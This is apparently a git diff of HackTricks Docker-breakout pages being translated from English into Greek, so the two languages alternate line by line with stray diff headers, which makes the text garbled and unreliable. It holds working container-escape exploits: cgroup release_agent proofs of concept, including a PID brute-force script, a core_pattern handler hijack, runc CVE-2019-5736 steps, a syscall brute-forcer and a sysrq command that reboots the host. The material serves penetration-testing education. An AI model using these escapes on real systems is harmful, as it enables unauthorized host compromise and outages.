Θα μπορείτε επίσης να έχετε πρόσβαση σε **υπηρεσίες δικτύου που είναι δεσμευμένες στο localhost** μέσα στον host ή ακόμη και να έχετε πρόσβαση στις **άδειες μεταδεδομένων του κόμβου** (οι οποίες μπορεί να είναι διαφορετικές από αυτές που μπορεί να έχει πρόσβαση ένα κοντέινερ).
### hostIPC
```bash
docker run --rm -it --ipc=host ubuntu bash
```
Με το `hostIPC=true`, αποκτάτε πρόσβαση στους πόρους επικοινωνίας διεργασιών (IPC) του host, όπως η **κοινή μνήμη** στο `/dev/shm`. Αυτό επιτρέπει την ανάγνωση/εγγραφή όπου οι ίδιοι πόροι IPC χρησιμοποιούνται από άλλες διεργασίες host ή pod. Χρησιμοποιήστε το `ipcs` για να εξετάσετε περαιτέρω αυτούς τους μηχανισμούς IPC.
With `hostIPC=true`, you gain access to the host's inter-process communication (IPC) resources, such as **shared memory** in `/dev/shm`. This allows reading/writing where the same IPC resources are used by other host or pod processes. Use `ipcs` to inspect these IPC mechanisms further.
- **Εξετάστε το /dev/shm** - Αναζητήστε οποιαδήποτε αρχεία σε αυτήν την τοποθεσία κοινής μνήμης: `ls -la /dev/shm`
- **Εξετάστε τις υπάρχουσες εγκαταστάσεις IPC** Μπορείτε να ελέγξετε αν χρησιμοποιούνται κάποιες εγκαταστάσεις IPC με το `/usr/bin/ipcs`. Ελέγξτε το με: `ipcs -a`
- **Inspect /dev/shm** - Look for any files in this shared memory location: `ls -la /dev/shm`
- **Inspect existing IPC facilities** You can check to see if any IPC facilities are being used with `/usr/bin/ipcs`. Check it with: `ipcs -a`
### Recover capabilities
If the syscall **`unshare`** is not forbidden you can recover all the capabilities running:
### Ανάκτηση δυνατοτήτων
Εάν η syscall **`unshare`** δεν απαγορεύεται, μπορείτε να ανακτήσετε όλες τις δυνατότητες εκτελώντας:
```bash
unshare -UrmCpf bash
# Check them with
cat /proc/self/status | grep CapEff
```
### Κατάχρηση του χώρου ονομάτων χρήστη μέσω symlink
### User namespace abuse via symlink
The second technique explained in the post [https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) indicates how you can abuse bind mounts with user namespaces, to affect files inside the host (in that specific case, delete files).
<figure><img src="../../../../images/image (48).png" alt=""><figcaption></figcaption></figure>
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=docker-breakout-privilege-escalation) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-breakout-privilege-escalation" %}
Η δεύτερη τεχνική που εξηγείται στην ανάρτηση [https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/](https://labs.withsecure.com/blog/abusing-the-access-to-mount-namespaces-through-procpidroot/) υποδεικνύει πώς μπορείτε να καταχραστείτε τις δεσμευμένες τοποθεσίες με χώρους ονομάτων χρήστη, για να επηρεάσετε αρχεία μέσα στον οικοδεσπότη (σε αυτή την συγκεκριμένη περίπτωση, να διαγράψετε αρχεία).
## CVEs
### Runc exploit (CVE-2019-5736)
### Εκμετάλλευση Runc (CVE-2019-5736)
In case you can execute `docker exec` as root (probably with sudo), you try to escalate privileges escaping from a container abusing CVE-2019-5736 (exploit [here](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). This technique will basically **overwrite** the _**/bin/sh**_ binary of the **host** **from a container**, so anyone executing docker exec may trigger the payload.
Σε περίπτωση που μπορείτε να εκτελέσετε `docker exec` ως root (πιθανώς με sudo), προσπαθήστε να κλιμακώσετε τα δικαιώματα σας διαφεύγοντας από ένα κοντέινερ καταχρώντας το CVE-2019-5736 (εκμετάλλευση [εδώ](https://github.com/Frichetten/CVE-2019-5736-PoC/blob/master/main.go)). Αυτή η τεχνική θα **επικαλύψει** το _**/bin/sh**_ δυαδικό αρχείο του **οικοδεσπότη** **από ένα κοντέινερ**, έτσι ώστε οποιοσδήποτε εκτελεί docker exec μπορεί να ενεργοποιήσει το payload.
Change the payload accordingly and build the main.go with `go build main.go`. The resulting binary should be placed in the docker container for execution.\
Upon execution, as soon as it displays `[+] Overwritten /bin/sh successfully` you need to execute the following from the host machine:
Αλλάξτε το payload αναλόγως και κατασκευάστε το main.go με `go build main.go`. Το προκύπτον δυαδικό αρχείο θα πρέπει να τοποθετηθεί στο κοντέινερ docker για εκτέλεση.\
Κατά την εκτέλεση, μόλις εμφανιστεί το `[+] Overwritten /bin/sh successfully` πρέπει να εκτελέσετε το εξής από τη μηχανή του οικοδεσπότη:
`docker exec -it <container-name> /bin/sh`
This will trigger the payload which is present in the main.go file.
Αυτό θα ενεργοποιήσει το payload που είναι παρόν στο αρχείο main.go.
For more information: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html)
Για περισσότερες πληροφορίες: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html](https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html)
> [!NOTE]
> There are other CVEs the container can be vulnerable too, you can find a list in [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list)
> Υπάρχουν άλλες CVEs στις οποίες το κοντέινερ μπορεί να είναι ευάλωτο, μπορείτε να βρείτε μια λίστα στο [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/cve-list)
## Docker Custom Escape
### Docker Escape Surface
### Επιφάνεια Διαφυγής Docker
- **Namespaces:** The process should be **completely separated from other processes** via namespaces, so we cannot escape interacting with other procs due to namespaces (by default cannot communicate via IPCs, unix sockets, network svcs, D-Bus, `/proc` of other procs).
- **Root user**: By default the user running the process is the root user (however its privileges are limited).
- **Capabilities**: Docker leaves the following capabilities: `cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep`
- **Syscalls**: These are the syscalls that the **root user won't be able to call** (because of lacking capabilities + Seccomp). The other syscalls could be used to try to escape.
- **Namespaces:** Η διαδικασία θα πρέπει να είναι **εντελώς απομονωμένη από άλλες διαδικασίες** μέσω namespaces, έτσι ώστε να μην μπορούμε να διαφύγουμε αλληλεπιδρώντας με άλλες διαδικασίες λόγω namespaces (κατά προεπιλογή δεν μπορούν να επικοινωνούν μέσω IPCs, unix sockets, δικτυακών υπηρεσιών, D-Bus, `/proc` άλλων διαδικασιών).
- **Χρήστης root**: Κατά προεπιλογή, ο χρήστης που εκτελεί τη διαδικασία είναι ο χρήστης root (ωστόσο τα δικαιώματά του είναι περιορισμένα).
- **Δυνατότητες**: Το Docker αφήνει τις εξής δυνατότητες: `cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep`
- **Syscalls**: Αυτές είναι οι syscalls που ο **χρήστης root δεν θα μπορεί να καλέσει** (λόγω έλλειψης δυνατοτήτων + Seccomp). Οι άλλες syscalls θα μπορούσαν να χρησιμοποιηθούν για να προσπαθήσουν να διαφύγουν.
{{#tabs}}
{{#tab name="x64 syscalls"}}
```yaml
0x067 -- syslog
0x070 -- setsid
@ -560,11 +504,9 @@ For more information: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape
0x140 -- kexec_file_load
0x141 -- bpf
```
{{#endtab}}
{{#tab name="arm64 syscalls"}}
```
0x029 -- pivot_root
0x059 -- acct
@ -582,11 +524,9 @@ For more information: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape
0x111 -- finit_module
0x118 -- bpf
```
{{#endtab}}
{{#tab name="syscall_bf.c"}}
````c
// From a conversation I had with @arget131
// Fir bfing syscalss in x64
@ -598,31 +538,32 @@ For more information: [https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape
int main()
{
for(int i = 0; i < 333; ++i)
{
if(i == SYS_rt_sigreturn) continue;
if(i == SYS_select) continue;
if(i == SYS_pause) continue;
if(i == SYS_exit_group) continue;
if(i == SYS_exit) continue;
if(i == SYS_clone) continue;
if(i == SYS_fork) continue;
if(i == SYS_vfork) continue;
if(i == SYS_pselect6) continue;
if(i == SYS_ppoll) continue;
if(i == SYS_seccomp) continue;
if(i == SYS_vhangup) continue;
if(i == SYS_reboot) continue;
if(i == SYS_shutdown) continue;
if(i == SYS_msgrcv) continue;
printf("Probando: 0x%03x . . . ", i); fflush(stdout);
if((syscall(i, NULL, NULL, NULL, NULL, NULL, NULL) < 0) && (errno == EPERM))
printf("Error\n");
else
printf("OK\n");
}
for(int i = 0; i < 333; ++i)
{
if(i == SYS_rt_sigreturn) continue;
if(i == SYS_select) continue;
if(i == SYS_pause) continue;
if(i == SYS_exit_group) continue;
if(i == SYS_exit) continue;
if(i == SYS_clone) continue;
if(i == SYS_fork) continue;
if(i == SYS_vfork) continue;
if(i == SYS_pselect6) continue;
if(i == SYS_ppoll) continue;
if(i == SYS_seccomp) continue;
if(i == SYS_vhangup) continue;
if(i == SYS_reboot) continue;
if(i == SYS_shutdown) continue;
if(i == SYS_msgrcv) continue;
printf("Probando: 0x%03x . . . ", i); fflush(stdout);
if((syscall(i, NULL, NULL, NULL, NULL, NULL, NULL) < 0) && (errno == EPERM))
printf("Error\n");
else
printf("OK\n");
}
}
```
````
{{#endtab}}
@ -633,12 +574,12 @@ int main()
If you are in **userspace** (**no kernel exploit** involved) the way to find new escapes mainly involve the following actions (these templates usually require a container in privileged mode):
- Find the **path of the containers filesystem** inside the host
- You can do this via **mount**, or via **brute-force PIDs** as explained in the second release_agent exploit
- You can do this via **mount**, or via **brute-force PIDs** as explained in the second release_agent exploit
- Find some functionality where you can **indicate the path of a script to be executed by a host process (helper)** if something happens
- You should be able to **execute the trigger from inside the host**
- You need to know where the containers files are located inside the host to indicate a script you write inside the host
- You should be able to **execute the trigger from inside the host**
- You need to know where the containers files are located inside the host to indicate a script you write inside the host
- Have **enough capabilities and disabled protections** to be able to abuse that functionality
- You might need to **mount things** o perform **special privileged actions** you cannot do in a default docker container
- You might need to **mount things** o perform **special privileged actions** you cannot do in a default docker container
## References
@ -650,11 +591,4 @@ If you are in **userspace** (**no kernel exploit** involved) the way to find new
- [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/exposed-docker-socket)
- [https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4](https://bishopfox.com/blog/kubernetes-pod-privilege-escalation#Pod4)
<figure><img src="../../../../images/image (48).png" alt=""><figcaption></figcaption></figure>
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=docker-breakout-privilege-escalation) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
Get Access Today:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-breakout-privilege-escalation" %}
{{#include ../../../../banners/hacktricks-training.md}}

View File

@ -2,10 +2,9 @@
{{#include ../../../../banners/hacktricks-training.md}}
**For further details, refer to the** [**original blog post**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**.** This is just a summary:
**Για περισσότερες λεπτομέρειες, ανατρέξτε στην** [**αρχική ανάρτηση του ιστολογίου**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**.** Αυτό είναι απλώς μια περίληψη:
Original PoC:
```shell
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
mkdir -p $d/w;echo 1 >$d/w/notify_on_release
@ -13,49 +12,38 @@ t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
```
Η απόδειξη της έννοιας (PoC) δείχνει μια μέθοδο εκμετάλλευσης των cgroups δημιουργώντας ένα αρχείο `release_agent` και ενεργοποιώντας την εκτέλεσή του για να εκτελέσει αυθαίρετες εντολές στον οικοδεσπότη του κοντέινερ. Ακολουθεί μια ανάλυση των βημάτων που εμπλέκονται:
The proof of concept (PoC) demonstrates a method to exploit cgroups by creating a `release_agent` file and triggering its invocation to execute arbitrary commands on the container host. Here's a breakdown of the steps involved:
1. **Prepare the Environment:**
- A directory `/tmp/cgrp` is created to serve as a mount point for the cgroup.
- The RDMA cgroup controller is mounted to this directory. In case of absence of the RDMA controller, it's suggested to use the `memory` cgroup controller as an alternative.
1. **Προετοιμάστε το Περιβάλλον:**
- Δημιουργείται ένας φάκελος `/tmp/cgrp` για να χρησιμεύσει ως σημείο προσάρτησης για το cgroup.
- Ο ελεγκτής cgroup RDMA προσαρτάται σε αυτόν τον φάκελο. Σε περίπτωση απουσίας του ελεγκτή RDMA, προτείνεται η χρήση του ελεγκτή cgroup `memory` ως εναλλακτική.
```shell
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
```
2. **Set Up the Child Cgroup:**
- A child cgroup named "x" is created within the mounted cgroup directory.
- Notifications are enabled for the "x" cgroup by writing 1 to its notify_on_release file.
2. **Ρύθμιση του Παιδικού Cgroup:**
- Ένα παιδικό cgroup με όνομα "x" δημιουργείται μέσα στον προσαρτημένο κατάλογο cgroup.
- Οι ειδοποιήσεις ενεργοποιούνται για το cgroup "x" γράφοντας 1 στο αρχείο notify_on_release του.
```shell
echo 1 > /tmp/cgrp/x/notify_on_release
```
3. **Configure the Release Agent:**
- The path of the container on the host is obtained from the /etc/mtab file.
- The release_agent file of the cgroup is then configured to execute a script named /cmd located at the acquired host path.
3. **Ρύθμιση του Release Agent:**
- Η διαδρομή του κοντέινερ στον οικοδεσπότη αποκτάται από το αρχείο /etc/mtab.
- Το αρχείο release_agent του cgroup ρυθμίζεται στη συνέχεια για να εκτελεί ένα σενάριο με όνομα /cmd που βρίσκεται στη ληφθείσα διαδρομή του οικοδεσπότη.
```shell
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
echo "$host_path/cmd" > /tmp/cgrp/release_agent
```
4. **Create and Configure the /cmd Script:**
- The /cmd script is created inside the container and is configured to execute ps aux, redirecting the output to a file named /output in the container. The full path of /output on the host is specified.
4. **Δημιουργία και Ρύθμιση του /cmd Script:**
- Το /cmd script δημιουργείται μέσα στο κοντέινερ και ρυθμίζεται να εκτελεί ps aux, ανακατευθύνοντας την έξοδο σε ένα αρχείο με όνομα /output στο κοντέινερ. Η πλήρης διαδρομή του /output στον κεντρικό υπολογιστή καθορίζεται.
```shell
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
```
5. **Trigger the Attack:**
- A process is initiated within the "x" child cgroup and is immediately terminated.
- This triggers the `release_agent` (the /cmd script), which executes ps aux on the host and writes the output to /output within the container.
5. **Ενεργοποίηση της Επίθεσης:**
- Μια διαδικασία ξεκινά μέσα στο "x" παιδικό cgroup και τερματίζεται αμέσως.
- Αυτό ενεργοποιεί τον `release_agent` (το σενάριο /cmd), το οποίο εκτελεί ps aux στον κεντρικό υπολογιστή και γράφει την έξοδο στο /output μέσα στο κοντέινερ.
```shell
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
```
{{#include ../../../../banners/hacktricks-training.md}}

View File

@ -1,27 +1,26 @@
{{#include ../../../../banners/hacktricks-training.md}}
For further details **check the blog port from [https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html)**. This is just a summary:
Για περισσότερες λεπτομέρειες **ελέγξτε το blog port από [https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html)**. Αυτό είναι απλώς μια περίληψη:
The technique outlines a method for **executing host code from within a container**, overcoming challenges posed by storage-driver configurations that obscure the container's filesystem path on the host, like Kata Containers or specific `devicemapper` settings.
Η τεχνική περιγράφει μια μέθοδο για **την εκτέλεση κώδικα του host από μέσα σε ένα container**, ξεπερνώντας τις προκλήσεις που θέτουν οι ρυθμίσεις του storage-driver που θολώνουν τη διαδρομή του filesystem του container στον host, όπως οι Kata Containers ή συγκεκριμένες ρυθμίσεις `devicemapper`.
Key steps:
Βασικά βήματα:
1. **Locating Process IDs (PIDs):** Using the `/proc/<pid>/root` symbolic link in the Linux pseudo-filesystem, any file within the container can be accessed relative to the host's filesystem. This bypasses the need to know the container's filesystem path on the host.
2. **PID Bashing:** A brute force approach is employed to search through PIDs on the host. This is done by sequentially checking for the presence of a specific file at `/proc/<pid>/root/<file>`. When the file is found, it indicates that the corresponding PID belongs to a process running inside the target container.
3. **Triggering Execution:** The guessed PID path is written to the `cgroups release_agent` file. This action triggers the execution of the `release_agent`. The success of this step is confirmed by checking for the creation of an output file.
1. **Εντοπισμός Ταυτοτήτων Διαδικασιών (PIDs):** Χρησιμοποιώντας τον συμβολικό σύνδεσμο `/proc/<pid>/root` στο ψευδο-σύστημα αρχείων Linux, οποιοδήποτε αρχείο εντός του container μπορεί να προσπελαστεί σε σχέση με το filesystem του host. Αυτό παρακάμπτει την ανάγκη να γνωρίζουμε τη διαδρομή του filesystem του container στον host.
2. **PID Bashing:** Χρησιμοποιείται μια προσέγγιση brute force για να αναζητηθούν PIDs στον host. Αυτό γίνεται ελέγχοντας διαδοχικά την παρουσία ενός συγκεκριμένου αρχείου στο `/proc/<pid>/root/<file>`. Όταν βρεθεί το αρχείο, υποδεικνύει ότι η αντίστοιχη PID ανήκει σε μια διαδικασία που εκτελείται μέσα στο στοχευμένο container.
3. **Ενεργοποίηση Εκτέλεσης:** Η μαντεμένη διαδρομή PID γράφεται στο αρχείο `cgroups release_agent`. Αυτή η ενέργεια ενεργοποιεί την εκτέλεση του `release_agent`. Η επιτυχία αυτού του βήματος επιβεβαιώνεται ελέγχοντας τη δημιουργία ενός αρχείου εξόδου.
### Exploitation Process
### Διαδικασία Εκμετάλλευσης
The exploitation process involves a more detailed set of actions, aiming to execute a payload on the host by guessing the correct PID of a process running inside the container. Here's how it unfolds:
Η διαδικασία εκμετάλλευσης περιλαμβάνει ένα πιο λεπτομερές σύνολο ενεργειών, με στόχο την εκτέλεση ενός payload στον host μαντεύοντας τη σωστή PID μιας διαδικασίας που εκτελείται μέσα στο container. Να πώς εξελίσσεται:
1. **Initialize Environment:** A payload script (`payload.sh`) is prepared on the host, and a unique directory is created for cgroup manipulation.
2. **Prepare Payload:** The payload script, which contains the commands to be executed on the host, is written and made executable.
3. **Set Up Cgroup:** The cgroup is mounted and configured. The `notify_on_release` flag is set to ensure that the payload executes when the cgroup is released.
4. **Brute Force PID:** A loop iterates through potential PIDs, writing each guessed PID to the `release_agent` file. This effectively sets the payload script as the `release_agent`.
5. **Trigger and Check Execution:** For each PID, the cgroup's `cgroup.procs` is written to, triggering the execution of the `release_agent` if the PID is correct. The loop continues until the output of the payload script is found, indicating successful execution.
PoC from the blog post:
1. **Αρχικοποίηση Περιβάλλοντος:** Ένα script payload (`payload.sh`) προετοιμάζεται στον host και δημιουργείται ένας μοναδικός φάκελος για την παρακολούθηση cgroup.
2. **Προετοιμασία Payload:** Το script payload, το οποίο περιέχει τις εντολές που θα εκτελούνται στον host, γράφεται και καθίσταται εκτελέσιμο.
3. **Ρύθμιση Cgroup:** Το cgroup τοποθετείται και ρυθμίζεται. Η σημαία `notify_on_release` ρυθμίζεται για να διασφαλίσει ότι το payload εκτελείται όταν το cgroup απελευθερωθεί.
4. **Brute Force PID:** Ένας βρόχος επαναλαμβάνει τις πιθανές PIDs, γράφοντας κάθε μαντεμένη PID στο αρχείο `release_agent`. Αυτό ουσιαστικά ορίζει το script payload ως `release_agent`.
5. **Ενεργοποίηση και Έλεγχος Εκτέλεσης:** Για κάθε PID, το `cgroup.procs` του cgroup γράφεται, ενεργοποιώντας την εκτέλεση του `release_agent` αν η PID είναι σωστή. Ο βρόχος συνεχίζεται μέχρι να βρεθεί η έξοδος του script payload, υποδεικνύοντας επιτυχημένη εκτέλεση.
PoC από την ανάρτηση του blog:
```bash
#!/bin/sh
@ -60,20 +59,20 @@ echo 1 > ${CGROUP_MOUNT}/${CGROUP_NAME}/notify_on_release
TPID=1
while [ ! -f ${OUTPUT_PATH} ]
do
if [ $((${TPID} % 100)) -eq 0 ]
then
echo "Checking pid ${TPID}"
if [ ${TPID} -gt ${MAX_PID} ]
then
echo "Exiting at ${MAX_PID} :-("
exit 1
fi
fi
# Set the release_agent path to the guessed pid
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
# Trigger execution of the release_agent
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
TPID=$((${TPID} + 1))
if [ $((${TPID} % 100)) -eq 0 ]
then
echo "Checking pid ${TPID}"
if [ ${TPID} -gt ${MAX_PID} ]
then
echo "Exiting at ${MAX_PID} :-("
exit 1
fi
fi
# Set the release_agent path to the guessed pid
echo "/proc/${TPID}/root${PAYLOAD_PATH}" > ${CGROUP_MOUNT}/release_agent
# Trigger execution of the release_agent
sh -c "echo \$\$ > ${CGROUP_MOUNT}/${CGROUP_NAME}/cgroup.procs"
TPID=$((${TPID} + 1))
done
# Wait for and cat the output
@ -81,5 +80,4 @@ sleep 1
echo "Done! Output:"
cat ${OUTPUT_PATH}
```
{{#include ../../../../banners/hacktricks-training.md}}

View File

@ -1,182 +1,174 @@
# Sensitive Mounts
# Ευαίσθητοι Σημειακοί Σύνδεσμοι
{{#include ../../../../banners/hacktricks-training.md}}
<figure><img src="../../../..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
Η έκθεση των `/proc` και `/sys` χωρίς κατάλληλη απομόνωση ονομάτων εισάγει σημαντικούς κινδύνους ασφαλείας, συμπεριλαμβανομένης της αύξησης της επιφάνειας επίθεσης και της αποκάλυψης πληροφοριών. Αυτοί οι φάκελοι περιέχουν ευαίσθητα αρχεία που, αν είναι κακώς ρυθμισμένα ή προσπελάζονται από μη εξουσιοδοτημένο χρήστη, μπορούν να οδηγήσουν σε διαφυγή κοντέινερ, τροποποίηση του κεντρικού υπολογιστή ή να παρέχουν πληροφορίες που βοηθούν σε περαιτέρω επιθέσεις. Για παράδειγμα, η λανθασμένη τοποθέτηση `-v /proc:/host/proc` μπορεί να παρακάμψει την προστασία AppArmor λόγω της φύσης της βασισμένης σε διαδρομές, αφήνοντας το `/host/proc` απροστάτευτο.
{% embed url="https://websec.nl/" %}
**Μπορείτε να βρείτε περισσότερες λεπτομέρειες για κάθε πιθανή ευπάθεια στο** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.**
The exposure of `/proc` and `/sys` without proper namespace isolation introduces significant security risks, including attack surface enlargement and information disclosure. These directories contain sensitive files that, if misconfigured or accessed by an unauthorized user, can lead to container escape, host modification, or provide information aiding further attacks. For instance, incorrectly mounting `-v /proc:/host/proc` can bypass AppArmor protection due to its path-based nature, leaving `/host/proc` unprotected.
**You can find further details of each potential vuln in** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.**
## procfs Vulnerabilities
## Ευπάθειες procfs
### `/proc/sys`
This directory permits access to modify kernel variables, usually via `sysctl(2)`, and contains several subdirectories of concern:
Αυτός ο φάκελος επιτρέπει την πρόσβαση για την τροποποίηση μεταβλητών του πυρήνα, συνήθως μέσω `sysctl(2)`, και περιέχει αρκετούς υποφακέλους που προκαλούν ανησυχία:
#### **`/proc/sys/kernel/core_pattern`**
- Described in [core(5)](https://man7.org/linux/man-pages/man5/core.5.html).
- Allows defining a program to execute on core-file generation with the first 128 bytes as arguments. This can lead to code execution if the file begins with a pipe `|`.
- **Testing and Exploitation Example**:
- Περιγράφεται στο [core(5)](https://man7.org/linux/man-pages/man5/core.5.html).
- Επιτρέπει τον καθορισμό ενός προγράμματος που θα εκτελείται κατά την παραγωγή core-file με τα πρώτα 128 bytes ως παραμέτρους. Αυτό μπορεί να οδηγήσει σε εκτέλεση κώδικα αν το αρχείο αρχίζει με έναν σωλήνα `|`.
- **Παράδειγμα Δοκιμής και Εκμετάλλευσης**:
```bash
[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Test write access
cd /proc/sys/kernel
echo "|$overlay/shell.sh" > core_pattern # Set custom handler
sleep 5 && ./crash & # Trigger handler
```
```bash
[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Δοκιμή πρόσβασης εγγραφής
cd /proc/sys/kernel
echo "|$overlay/shell.sh" > core_pattern # Ορισμός προσαρμοσμένου χειριστή
sleep 5 && ./crash & # Ενεργοποίηση χειριστή
```
#### **`/proc/sys/kernel/modprobe`**
- Detailed in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
- Contains the path to the kernel module loader, invoked for loading kernel modules.
- **Checking Access Example**:
- Λεπτομέρειες στο [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
- Περιέχει τη διαδρομή προς τον φορτωτή μονάδων του πυρήνα, που καλείται για τη φόρτωση μονάδων πυρήνα.
- **Παράδειγμα Ελέγχου Πρόσβασης**:
```bash
ls -l $(cat /proc/sys/kernel/modprobe) # Check access to modprobe
```
```bash
ls -l $(cat /proc/sys/kernel/modprobe) # Έλεγχος πρόσβασης στο modprobe
```
#### **`/proc/sys/vm/panic_on_oom`**
- Referenced in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
- A global flag that controls whether the kernel panics or invokes the OOM killer when an OOM condition occurs.
- Αναφέρεται στο [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
- Μια παγκόσμια σημαία που ελέγχει αν ο πυρήνας πανικοβάλλεται ή καλεί τον OOM killer όταν συμβαίνει μια κατάσταση OOM.
#### **`/proc/sys/fs`**
- As per [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html), contains options and information about the file system.
- Write access can enable various denial-of-service attacks against the host.
- Σύμφωνα με το [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html), περιέχει επιλογές και πληροφορίες σχετικά με το σύστημα αρχείων.
- Η πρόσβαση εγγραφής μπορεί να επιτρέψει διάφορες επιθέσεις άρνησης υπηρεσίας κατά του κεντρικού υπολογιστή.
#### **`/proc/sys/fs/binfmt_misc`**
- Allows registering interpreters for non-native binary formats based on their magic number.
- Can lead to privilege escalation or root shell access if `/proc/sys/fs/binfmt_misc/register` is writable.
- Relevant exploit and explanation:
- [Poor man's rootkit via binfmt_misc](https://github.com/toffan/binfmt_misc)
- In-depth tutorial: [Video link](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
- Επιτρέπει την καταχώριση διερμηνέων για μη εγγενείς δυαδικές μορφές με βάση τον μαγικό τους αριθμό.
- Μπορεί να οδηγήσει σε εκμετάλλευση δικαιωμάτων ή πρόσβαση σε root shell αν το `/proc/sys/fs/binfmt_misc/register` είναι εγγράψιμο.
- Σχετική εκμετάλλευση και εξήγηση:
- [Poor man's rootkit via binfmt_misc](https://github.com/toffan/binfmt_misc)
- Σε βάθος οδηγός: [Video link](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
### Others in `/proc`
### Άλλες στο `/proc`
#### **`/proc/config.gz`**
- May reveal the kernel configuration if `CONFIG_IKCONFIG_PROC` is enabled.
- Useful for attackers to identify vulnerabilities in the running kernel.
- Μπορεί να αποκαλύψει τη διαμόρφωση του πυρήνα αν είναι ενεργοποιημένο το `CONFIG_IKCONFIG_PROC`.
- Χρήσιμο για επιτιθέμενους για την αναγνώριση ευπαθειών στον τρέχοντα πυρήνα.
#### **`/proc/sysrq-trigger`**
- Allows invoking Sysrq commands, potentially causing immediate system reboots or other critical actions.
- **Rebooting Host Example**:
- Επιτρέπει την εκτέλεση Sysrq εντολών, προκαλώντας πιθανώς άμεσες επανεκκινήσεις του συστήματος ή άλλες κρίσιμες ενέργειες.
- **Παράδειγμα Επανεκκίνησης Κεντρικού Υπολογιστή**:
```bash
echo b > /proc/sysrq-trigger # Reboots the host
```
```bash
echo b > /proc/sysrq-trigger # Επανεκκινεί τον κεντρικό υπολογιστή
```
#### **`/proc/kmsg`**
- Exposes kernel ring buffer messages.
- Can aid in kernel exploits, address leaks, and provide sensitive system information.
- Εκθέτει μηνύματα του δακτυλίου του πυρήνα.
- Μπορεί να βοηθήσει σε εκμεταλλεύσεις πυρήνα, διαρροές διευθύνσεων και να παρέχει ευαίσθητες πληροφορίες συστήματος.
#### **`/proc/kallsyms`**
- Lists kernel exported symbols and their addresses.
- Essential for kernel exploit development, especially for overcoming KASLR.
- Address information is restricted with `kptr_restrict` set to `1` or `2`.
- Details in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
- Λίστα συμβόλων που εξάγονται από τον πυρήνα και τις διευθύνσεις τους.
- Απαραίτητο για την ανάπτυξη εκμεταλλεύσεων πυρήνα, ειδικά για την υπέρβαση του KASLR.
- Οι πληροφορίες διευθύνσεων περιορίζονται με το `kptr_restrict` ρυθμισμένο σε `1` ή `2`.
